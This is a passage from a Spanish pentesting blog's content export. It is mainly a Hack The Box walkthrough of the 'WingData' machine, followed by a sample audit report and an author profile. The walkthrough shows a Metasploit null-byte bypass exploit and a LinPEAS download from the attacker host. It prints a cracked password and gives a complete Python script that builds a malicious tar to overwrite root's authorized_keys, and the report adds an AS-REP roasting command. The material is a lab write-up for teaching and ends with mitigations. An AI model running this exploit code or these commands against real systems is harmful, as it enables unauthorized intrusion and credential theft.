entrada a /etc/hosts para que nuestro sistema la resuelva localmente:\nsudo sh -c \u0026#34;echo \u0026#39;10.129.10.66 wingdata.htb\u0026#39; \u0026gt;\u0026gt; /etc/hosts\u0026#34; Verificamos con curl -I (petición HEAD, solo cabeceras) que el servidor responde correctamente:\ncurl -I http://wingdata.htb/ HTTP/1.1 200 OK Server: Apache/2.4.66 (Debian) Content-Length: 12492 Content-Type: text/html 2. Análisis de Servicios y Enumeración Manual # 2.1 Descubrimiento del Subdominio FTP # Explorando la página web de wingdata.htb, el botón \u0026ldquo;Client Portal\u0026rdquo; redirige a ftp.wingdata.htb. Actualizamos /etc/hosts para incluir ambos dominios en la misma línea:\nsudo sh -c \u0026#34;echo \u0026#39;10.129.10.66 wingdata.htb ftp.wingdata.htb\u0026#39; \u0026gt;\u0026gt; /etc/hosts\u0026#34; Al acceder a http://ftp.wingdata.htb/, encontramos un cliente FTP web — Wing FTP Server con interfaz web. Probamos anonymous:anonymous; el servidor nos deja entrar pero no muestra archivos en el directorio raíz.\n2.2 Enumeración de Directorios con Gobuster # Con el acceso anónimo vacío, usamos Gobuster para descubrir rutas mediante fuerza bruta de diccionario:\ngobuster dir -u http://ftp.wingdata.htb -w /usr/share/wordlists/dirb/common.txt /crossdomain.xml (Status: 200) [Size: 111] /css (Status: 200) [Size: 0] /favicon.ico (Status: 200) [Size: 19790] /help (Status: 500) [Size: 0] /icons (Status: 500) [Size: 0] /images (Status: 500) [Size: 0] /include (Status: 500) [Size: 0] /language (Status: 500) [Size: 0] /plugins (Status: 500) [Size: 0] crossdomain.xml es el único con contenido real. Lo inspeccionamos:\ncurl http://ftp.wingdata.htb/crossdomain.xml \u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;cross-domain-policy\u0026gt; \u0026lt;allow-access-from domain=\u0026#34;localhost\u0026#34; /\u0026gt; \u0026lt;/cross-domain-policy\u0026gt; 💡 Dato clave: El servidor solo confía en peticiones de localhost. Esto indica que el panel de administración de Wing FTP probablemente está restringido al acceso local — necesitaremos un foothold en la máquina para llegar a él, o bien una vulnerabilidad que no requiera acceder al panel desde fuera.\n2.3 Puerto de Administración de Wing FTP # Wing FTP Server usa el puerto 5466 para su panel de administración web. Comprobamos si está expuesto:\nnmap -p 5466 ftp.wingdata.htb PORT STATE SERVICE 5466/tcp filtered unknown Filtrado desde el exterior — confirmado que el panel está limitado a acceso local. El vector de entrada pasa por explotar directamente el servicio web.\n3. Explotación — CVE-2025-47812 (NULL-byte Authentication Bypass) # 3.1 Búsqueda de Exploit en Metasploit # msf6 \u0026gt; search Wing FTP 21 exploit/windows/ftp/wing_ftp_admin_exec 2014-06-19 excellent Yes 22 exploit/multi/http/wingftp_null_byte_rce 2025-06-30 excellent Yes Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812) El módulo 22 coincide exactamente. CVE-2025-47812 es un NULL-byte Authentication Bypass: el servidor procesa incorrectamente bytes nulos (\\x00) en el campo usuario o contraseña durante la autenticación HTTP, permitiendo saltarse el control de acceso al panel administrativo. Desde ese panel, Wing FTP permite ejecutar scripts Lua — ejecución de código remota directa.\n3.2 Configuración y Verificación del Exploit # msf6 \u0026gt; use exploit/multi/http/wingftp_null_byte_rce msf6 exploit(wingftp_null_byte_rce) \u0026gt; set RHOSTS 10.129.10.66 msf6 exploit(wingftp_null_byte_rce) \u0026gt; set LHOST tun0 msf6 exploit(wingftp_null_byte_rce) \u0026gt; check [+] 10.129.10.66:80 - The target is vulnerable. Detected version 7.4.3 - 7.4.4 El objetivo es vulnerable. Lanzamos:\nmsf6 exploit(wingftp_null_byte_rce) \u0026gt; run [*] Meterpreter session 1 opened (10.10.15.237:4444 -\u0026gt; 10.129.10.66:49312) (Meterpreter 1)(/opt/wftpserver) \u0026gt; getuid Server username: wingftp ✅ Shell obtenida como wingftp — el usuario del sistema operativo con el que corre el proceso de Wing FTP Server. Permisos limitados, pero suficientes para continuar.\n4. Post-Explotación — Enumeración Interna con LinPEAS # 4.1 Transferencia de LinPEAS # Descargamos LinPEAS en nuestra máquina atacante y lo servimos con el servidor HTTP de Python:\nwget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh python3 -m http.server 80 Desde la sesión Meterpreter, descargamos y ejecutamos en la máquina víctima:\ncd /tmp wget http://10.10.15.237/linpeas.sh chmod +x linpeas.sh ./linpeas.sh 4.2 Hallazgos Relevantes # LinPEAS reporta varios puntos de interés (socket DBus, socket de systemd con permisos 777, herramientas socat/nc/ssh presentes) que no resultan ser el vector principal. La pista más importante: como somos wingftp, el vector más probable está en los propios archivos de configuración de Wing FTP Server, que pueden contener credenciales de otros usuarios del sistema.\n5. Obtención de Credenciales — Cracking del Hash de Wing FTP # 5.1 Localización del Archivo de Administradores # Wing FTP Server guarda sus credenciales en archivos XML dentro de /opt/wftpserver. En _ADMINISTRATOR/admins.xml encontramos:\n\u0026lt;ADMIN\u0026gt; \u0026lt;Admin_Name\u0026gt;admin\u0026lt;/Admin_Name\u0026gt; \u0026lt;Password\u0026gt;a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba\u0026lt;/Password\u0026gt; \u0026lt;/ADMIN\u0026gt; 64 caracteres hexadecimales → SHA-256. Intentamos crackearlo con John:\necho \u0026#34;a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba\u0026#34; \u0026gt; hash.txt john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Sin resultados — el fallo se revela investigando más archivos de configuración.\n5.2 Descubrimiento del Salt # En el archivo de configuración del dominio (Data/1) encontramos:\n\u0026lt;EnablePasswordSalting\u0026gt;1\u0026lt;/EnablePasswordSalting\u0026gt; \u0026lt;SaltingString\u0026gt;WingFTP\u0026lt;/SaltingString\u0026gt; El hash se calcula como SHA256(password + \u0026quot;WingFTP\u0026quot;), no simplemente SHA256(password). Las rainbow tables y el cracking básico no sirven sin incorporar el salt.\n5.3 Cracking del Hash del Usuario wacky # El usuario wacky es el único con directorio en /home, lo que indica que es un usuario real del sistema. Su hash en la configuración de Wing FTP:\n32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca Usamos hashcat con el modo 1410 (SHA256($pass.$salt)):\nhashcat -m 1410 \u0026#34;32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP\u0026#34; \\ /usr/share/wordlists/rockyou.txt 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5 🔑 Credenciales encontradas: wacky:!#7Blushing^*Bride5\n6. Acceso SSH y Flag de Usuario # Con las credenciales obtenidas, nos conectamos por SSH — más estable e interactivo que la shell de Meterpreter, y no depende de que el proceso de Metasploit siga corriendo:\nssh wacky@10.129.10.66 wacky@wingdata:~$ ls user.txt wacky@wingdata:~$ cat user.txt 🔑 Flag de usuario obtenida.\n7. Escalada de Privilegios — tarfile PATH_MAX Bypass # 7.1 Enumeración de Permisos sudo # wacky@wingdata:~$ sudo -l User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py * Podemos ejecutar restore_backup_clients.py como root sin contraseña. El asterisco al final permite pasarle cualquier argumento — un vector clásico cuando el script tiene alguna vulnerabilidad en su lógica.\n7.2 Análisis del Entorno # ls -la /opt/backup_clients/ drwxr-x--- 4 root wacky 4096 . drwxr-xr-x 4 root root 4096 .. drwxrwx--- 2 root wacky 4096 backups -rwxr-x--- 1 root wacky 2829 restore_backup_clients.py drwxr-x--- 2 root wacky 4096 restored_backups El directorio backups/ tiene permisos rwxrwx--- — el grupo wacky puede escribir en él. Podemos colocar un .tar malicioso que el script procesará con privilegios de root.\n7.3 Identificación de la Vulnerabilidad en el Script # El bloque crítico de restore_backup_clients.py:\nwith tarfile.open(backup_path, \u0026#34;r\u0026#34;) as tar: tar.extractall(path=staging_dir, filter=\u0026#34;data\u0026#34;) Aunque filter=\u0026quot;data\u0026quot; (introducido en Python 3.12) bloquea el Path Traversal clásico, la implementación tiene un fallo: cuando la ruta completa de extracción supera el límite PATH_MAX (4096 bytes en Linux), el kernel trunca la resolución de la ruta. Combinando esto con symlinks cuidadosamente construidos dentro del tar, el proceso puede escribir en rutas arbitrarias del sistema — como /root/.ssh/authorized_keys.\n7.4 Preparación del Payload SSH # Generamos un par de claves RSA en la máquina víctima:\nssh-keygen -t rsa -f /tmp/id_rsa -N \u0026#34;\u0026#34; 7.5 El Exploit — Construcción del .tar Malicioso # La técnica funciona en cuatro fases dentro del archivo TAR:\nFase 1: Estructura de directorios anidados con nombres de 247 chars (v×247) + symlinks cortos por nivel → ruta total supera PATH_MAX Fase 2: \u0026#34;Pivot\u0026#34; — symlink con nombre de 254 chars que apunta ../×N para volver a la raíz de la ruta de extracción Fase 3: Symlink \u0026#34;trigger_link\u0026#34; → la ruta total supera PATH_MAX y el kernel trunca la resolución → trigger_link apunta a /root/.ssh/ Fase 4: archivo authorized_keys referenciado via trigger_link → root extrae y escribe nuestra clave en /root/.ssh/ Guardamos el exploit como /tmp/exploit.py:\n#!/usr/bin/env python3 import tarfile import io import os import argparse from dataclasses import dataclass MAX_DIR_NAME = 247 NESTING_LEVELS = \u0026#34;123456789abcdefg\u0026#34; EXTENDED_LINK_SIZE = 254 @dataclass class ExploitConfig: output_tar: str target_path: str content: bytes permissions: int = 0o644 class TarExploitBuilder: def __init__(self, config: ExploitConfig): self.cfg = config self.current_depth = \u0026#34;\u0026#34; def generate(self): long_name = \u0026#34;v\u0026#34; * MAX_DIR_NAME with tarfile.open(self.cfg.output_tar, \u0026#34;w\u0026#34;) as archive: for char in NESTING_LEVELS: dir_info = tarfile.TarInfo(name=os.path.join(self.current_depth, long_name)) dir_info.type = tarfile.DIRTYPE archive.addfile(dir_info) link_info = tarfile.TarInfo(name=os.path.join(self.current_depth, char)) link_info.type = tarfile.SYMTYPE link_info.linkname = long_name archive.addfile(link_info) self.current_depth = os.path.join(self.current_depth, long_name) short_path_chain = \u0026#34;/\u0026#34;.join(NESTING_LEVELS) pivot_path = os.path.join(short_path_chain, \u0026#34;z\u0026#34; * EXTENDED_LINK_SIZE) pivot = tarfile.TarInfo(name=pivot_path) pivot.type = tarfile.SYMTYPE pivot.linkname = \u0026#34;../\u0026#34; * len(NESTING_LEVELS) archive.addfile(pivot) dest_dir = os.path.dirname(self.cfg.target_path) dest_file = os.path.basename(self.cfg.target_path) escape_route = f\u0026#34;{pivot_path}/{\u0026#39;../\u0026#39; * 8}{dest_dir.lstrip(\u0026#39;/\u0026#39;)}\u0026#34; escape_link = tarfile.TarInfo(name=\u0026#34;trigger_link\u0026#34;) escape_link.type = tarfile.SYMTYPE escape_link.linkname = escape_route archive.addfile(escape_link) payload_entry = tarfile.TarInfo(name=f\u0026#34;trigger_link/{dest_file}\u0026#34;) payload_entry.size = len(self.cfg.content) payload_entry.mode = self.cfg.permissions archive.addfile(payload_entry, fileobj=io.BytesIO(self.cfg.content)) print(f\u0026#34;[*] Archivo generado: {self.cfg.output_tar}\u0026#34;) print(f\u0026#34;[*] Objetivo: {self.cfg.target_path}\u0026#34;) def run(): parser = argparse.ArgumentParser() parser.add_argument(\u0026#34;-o\u0026#34;, \u0026#34;--output\u0026#34;, required=True) parser.add_argument(\u0026#34;-t\u0026#34;, \u0026#34;--target\u0026#34;, default=\u0026#34;/root/.ssh/authorized_keys\u0026#34;) parser.add_argument(\u0026#34;-p\u0026#34;, \u0026#34;--payload\u0026#34;, required=True) args = parser.parse_args() with open(args.payload, \u0026#34;rb\u0026#34;) as f: data = f.read() if not data.endswith(b\u0026#34;\\n\u0026#34;): data += b\u0026#34;\\n\u0026#34; config = ExploitConfig( output_tar=args.output, target_path=args.target, content=data, permissions=0o600 if \u0026#34;ssh\u0026#34; in args.target else 0o644 ) TarExploitBuilder(config).generate() if __name__ == \u0026#34;__main__\u0026#34;: run() 7.6 Ejecución del Ataque # Generamos el tar malicioso apuntando a /root/.ssh/authorized_keys:\npython3 /tmp/exploit.py \\ -o /opt/backup_clients/backups/evil.tar \\ -t /root/.ssh/authorized_keys \\ -p /tmp/id_rsa.pub Ejecutamos el script de restauración como root con nuestro tar malicioso:\nsudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py evil.tar Verificamos que la escalada funcionó:\nwacky@wingdata:/tmp$ sudo -l (ALL) NOPASSWD: ALL Nos convertimos en root:\nwacky@wingdata:/tmp$ sudo su - root@wingdata:~# ✅ Escalada a root completada.\n8. Root Flag # root@wingdata:~# cat root.txt 🏁 Flag de root obtenida.\n9. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Virtual hosting a wingdata.htb; subdominio ftp.wingdata.htb con Wing FTP Server 7.4.3. Enumeración → crossdomain.xml revela que el panel admin solo acepta localhost; puerto 5466 filtrado; acceso anónimo FTP vacío. CVE-2025-47812 → NULL-byte Auth Bypass en Wing FTP → Metasploit → shell como wingftp. LinPEAS → Apunta a archivos de configuración de la aplicación como vector más probable. Cracking de hash → admins.xml y config de usuarios → salt WingFTP → hashcat modo 1410 → wacky:!#7Blushing^*Bride5. SSH → Acceso como wacky → user flag. PrivEsc → sudo sin contraseña sobre script Python que extrae tarballs → tarfile PATH_MAX bypass → escritura en /root/.ssh/authorized_keys → root. Lo que aprendí con esta máquina:\nEl Virtual Hosting exige añadir dominios a /etc/hosts en HTB. Un 302 a un nombre de dominio en el primer nmap es la señal — sin esa entrada, todas las peticiones al servidor web devuelven contenido incorrecto o un 404.\ncrossdomain.xml como pista del diseñador. En CTF, un archivo de política que solo permite localhost es casi siempre un indicio de que el vector pasa por la propia máquina — ya sea SSRF, ejecución de código, o un panel de admin restringido internamente.\nCVE-2025-47812 ilustra el riesgo del NULL-byte en parsers de autenticación. Un byte nulo (\\x00) en lenguajes como C termina una cadena, mientras que en Python o Lua no tiene ese significado. Cuando el código C subyacente y el código de aplicación interpretan la misma cadena de forma diferente, el atacante puede explotar esa discrepancia para saltarse controles.\nEl modo 1410 de hashcat es crítico para SHA-256 con salt. Hashcat tiene más de 300 modos — usar el equivocado significa que nunca encontrará la contraseña aunque esté en el diccionario. Identificar el algoritmo y el formato de salt primero (leyendo la configuración de la aplicación) es el paso que define si el cracking tiene éxito o no.\ntarfile con filter=\u0026quot;data\u0026quot; no es suficiente en Python con rutas que superan PATH_MAX. El filtro data bloquea ataques triviales de path traversal, pero el límite de longitud de ruta del kernel (PATH_MAX = 4096) puede ser explotado para hacer que la resolución de symlinks \u0026ldquo;caiga\u0026rdquo; fuera del directorio de extracción. La defensa correcta es no permitir que procesos privilegiados extraigan archivos proporcionados por el usuario.\nsudo sobre scripts con argumentos de usuario y permisos de escritura en el directorio de entrada es privesc garantizada. Si el usuario puede escribir en el directorio de donde lee el script, puede controlar completamente la entrada. El asterisco en la regla sudo no añade restricción real — cualquier nombre de archivo es válido.\nMitigaciones:\nVector Mitigación CVE-2025-47812 en Wing FTP 7.4.3-7.4.4 Actualizar Wing FTP Server a la versión parcheada Acceso anónimo FTP activo Deshabilitar si no es necesario; aislar en chroot si se mantiene Hash SHA-256 con salt estático y conocido Usar salt aleatorio por usuario; considerar bcrypt o Argon2 sudo sobre script que extrae tarballs de usuario Ejecutar con usuario de servicio dedicado sin acceso a rutas del sistema; validar el contenido del tar antes de extraer Escritura en directorio de entrada del script privilegiado Restringir permisos del directorio backups/ solo al usuario de servicio Python desactualizado con tarfile vulnerable Actualizar Python a versión con corrección del bypass PATH_MAX; no usar extractall sobre archivos no confiables ","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/posts/htb-wingdata/","section":"Posts","summary":" Resolución de WingData en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux. RCE mediante CVE-2025-47812, un bypass de autenticación por byte nulo en Wing FTP Server que otorga acceso al panel de administración y ejecución de código remota. Tras crackear credenciales de usuario con hashcat (SHA-256 con salt), escalamos a root explotando un bypass de PATH_MAX en el módulo tarfile de Python ejecutado con privilegios sudo. HackTheBox Linux Easy ","title":"HTB Walkthrough: WingData","type":"posts"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/lame/","section":"Tags","summary":"","title":"Lame","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/ms17-010/","section":"Tags","summary":"","title":"MS17-010","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/nullbytebypass/","section":"Tags","summary":"","title":"NullByteBypass","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/samba/","section":"Tags","summary":"","title":"Samba","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/sha256/","section":"Tags","summary":"","title":"SHA256","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/smb/","section":"Tags","summary":"","title":"SMB","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/tarfile/","section":"Tags","summary":"","title":"Tarfile","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/wingdata/","section":"Tags","summary":"","title":"Wingdata","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/wingftp/","section":"Tags","summary":"","title":"WingFTP","type":"tags"},{"content":" Documento descriptivo de los hallazgos tras la auditoría de caja negra sobre la infraestructura perimetral de CorpX. 📋 Resumen Ejecutivo # Durante los días [Fechas], se llevó a cabo una auditoría de seguridad (Pentest) sobre la infraestructura de la empresa CorpX. El objetivo principal fue identificar, explotar y documentar vulnerabilidades en los sistemas expuestos a Internet.\nSe lograron comprometer múltiples sistemas críticos debido a contraseñas débiles y servicios desactualizados.\n🎯 Alcance (Scope) # 192.168.1.0/24 (Red Corporativa Principal) *.corpx.local (Dominio Interno) 🚨 Hallazgos y Vulnerabilidades # 1. [Crítico] Ejecución Remota de Código (RCE) en Web Server Ppal # CVSS V3 Score: 9.8 (CRITICAL)\nEl servidor principal expone la versión vulnerable de Apache Struts. Mediante un payload diseñado específicamente, se logró obtener una shell interactiva como el usuario www-data, lo cual posteriormente permitió la elevación de privilegios.\nRecomendación: Actualizar inmediatamente el componente a la versión más reciente.\n2. [Alto] Misconfiguración en Active Directory (AS-REP Roasting) # CVSS V3 Score: 7.5 (HIGH)\nSe encontraron múltiples cuentas sin la opción de preautenticación Kerberos habilitada. Esto permitió la recolección de hashes TGT que posteriormente fueron crackeados de manera offline.\nImpacket-GetNPUsers corpx.local/ -usersfile users.txt -format hashcat -outputfile hashes.txt Recomendación: Activar la política \u0026ldquo;Do not require Kerberos preauthentication\u0026rdquo; en todos los usuarios del dominio CorpX.\nNota: Este informe es un ejemplo metodológico para el portafolio y los resultados han sido anonimizados/ofuscados.\n","date":"24 marzo 2026","externalUrl":null,"permalink":"/reports/informe-profesional-ejemplo/","section":"Informes Profesionales","summary":" Documento descriptivo de los hallazgos tras la auditoría de caja negra sobre la infraestructura perimetral de CorpX. 📋 Resumen Ejecutivo # Durante los días [Fechas], se llevó a cabo una auditoría de seguridad (Pentest) sobre la infraestructura de la empresa CorpX. El objetivo principal fue identificar, explotar y documentar vulnerabilidades en los sistemas expuestos a Internet.\n","title":"Auditoría Interna - Infraestructura CorpX","type":"reports"},{"content":"","date":"24 marzo 2026","externalUrl":null,"permalink":"/categories/informes-profesionales/","section":"Categories","summary":"","title":"Informes Profesionales","type":"categories"},{"content":"Esta sección contiene informes detallados y estructurados metodológicamente, similares a los generados durante auditorías reales (ej: formatos estandarizados y exportaciones desde SysReptor).\n","date":"24 marzo 2026","externalUrl":null,"permalink":"/reports/","section":"Informes Profesionales","summary":"Esta sección contiene informes detallados y estructurados metodológicamente, similares a los generados durante auditorías reales (ej: formatos estandarizados y exportaciones desde SysReptor).\n","title":"Informes Profesionales","type":"reports"},{"content":"","date":"24 marzo 2026","externalUrl":null,"permalink":"/tags/pentesting/","section":"Tags","summary":"","title":"Pentesting","type":"tags"},{"content":"","date":"24 marzo 2026","externalUrl":null,"permalink":"/tags/red-externa/","section":"Tags","summary":"","title":"Red Externa","type":"tags"},{"content":"","date":"24 marzo 2026","externalUrl":null,"permalink":"/tags/reporte/","section":"Tags","summary":"","title":"Reporte","type":"tags"},{"content":" Ubicado en Sada, Galicia. Mi camino en tecnología empezó desde la base — redes, sistemas y programación. Hoy toda esa base la enfoco en lo que realmente me apasiona: la ciberseguridad ofensiva. 🎯 Perfil Profesional # Apasionado del Hacking Ético y el Pentesting. Estudié Ingeniería Robótica, pero fue durante ese camino cuando descubrí la ciberseguridad ofensiva y me enganché — así que decidí orientar toda mi carrera hacia ese campo. Actualmente me preparo para la certificación CPTS (Certified Penetration Testing Specialist) de Hack The Box.\n\u0026ldquo;Entender cómo funciona el sistema es el primer paso para saber cómo defenderlo — o romperlo.\u0026rdquo;\n🎓 Formación # Ciberseguridad y Hacking Ético Actualidad Dedicación a tiempo completo a la obtención del CPTS. Especialización en análisis de Malware, Triage Informático y resolución de laboratorios avanzados en Hack The Box. Ingeniería Robótica Grado Universidade de Santiago de Compostela (USC) Programación avanzada en **Python** y **C++**, sistemas de control y pensamiento analítico en entornos complejos. Esta base me permitió entender los sistemas a un nivel más profundo y orientar mi carrera hacia la ciberseguridad. Administración de Sistemas (ASIR) CS Liceo La Paz Redes, protocolos, servicios y administración de infraestructuras empresariales. La base técnica sobre la que construí todo lo demás. 🛠️ Proyectos Personales # Desarrollo y Gestión de Servidores FiveM feb. 2020 – Actualidad Proyecto Personal 👥 2000+ usuarios activos 🗓️ 5+ años activo 👨‍💻 Equipo de 3 devs Liderazgo y gestión:\nDirigí un equipo de 3 desarrolladores usando Trello para la planificación de sprints, asignación de tareas y coordinación de lanzamientos.\nDesarrollo y control de versiones:\nProgramé y mantuve múltiples scripts en Lua. Flujo de trabajo con Git/GitHub/GitLab: pull requests, revisión de código y gestión de incidencias. Diseñé y administré bases de datos con MySQL (SQL) y Cassandra/MongoDB (NoSQL).\nAdministración de sistemas y seguridad:\nAdministré servidores dedicados Linux con Docker para contenerización. Implementé seguridad perimetral y mitigación de ataques DDoS mediante Cloudflare, firewalls y políticas de red.\nDesarrollo web:\nPequeñas aplicaciones web en HTML, CSS y JavaScript para interfaces de los scripts del servidor.\n🏅 Certificaciones # ✓ Linux Essentials — LE-1 Obtenida Linux Professional Institute · Nivel de entrada ◑ CPTS — Certified Penetration Testing Specialist En progreso Hack The Box Academy · CPTS Path aprox. 60% completado 💻 Habilidades Técnicas # Seguridad Ofensiva Pentesting Web Escalada de Privilegios Active Directory Análisis de Malware Triage Informático OSINT Herramientas de Pentesting Nmap Burp Suite Metasploit LinPEAS / WinPEAS Wireshark Gobuster / Feroxbuster Impacket John / Hashcat Lenguajes y Scripting Python Bash Scripting PowerShell C++ Lua Infraestructura y DevOps Linux Server Admin Docker Git / GitHub MySQL MongoDB Cloudflare 📬 Contacto # LinkedIn GitHub HackTheBox seoane.pablo16@gmail.com ","date":"24 de marzo de 2026","externalUrl":null,"permalink":"/es/about/","section":"Pablo Seoane · Pentester \u0026 Security Researcher","summary":" Ubicado en Sada, Galicia. Mi camino en tecnología empezó desde la base — redes, sistemas y programación. Hoy toda esa base la enfoco en lo que realmente me apasiona: la ciberseguridad ofensiva. 🎯 Perfil Profesional # Apasionado del Hacking Ético y el Pentesting. Estudié Ingeniería Robótica, pero fue durante ese camino cuando descubrí la ciberseguridad ofensiva y me enganché — así que decidí orientar toda mi carrera hacia ese campo. Actualmente me preparo para la certificación CPTS (Certified Penetration Testing Specialist) de Hack The Box.\n","title":"Sobre Mí","type":"page"},{"content":"","date":"24 marzo 2026","externalUrl":null,"permalink":"/tags/sysreptor/","section":"Tags","summary":"","title":"SysReptor","type":"tags"}]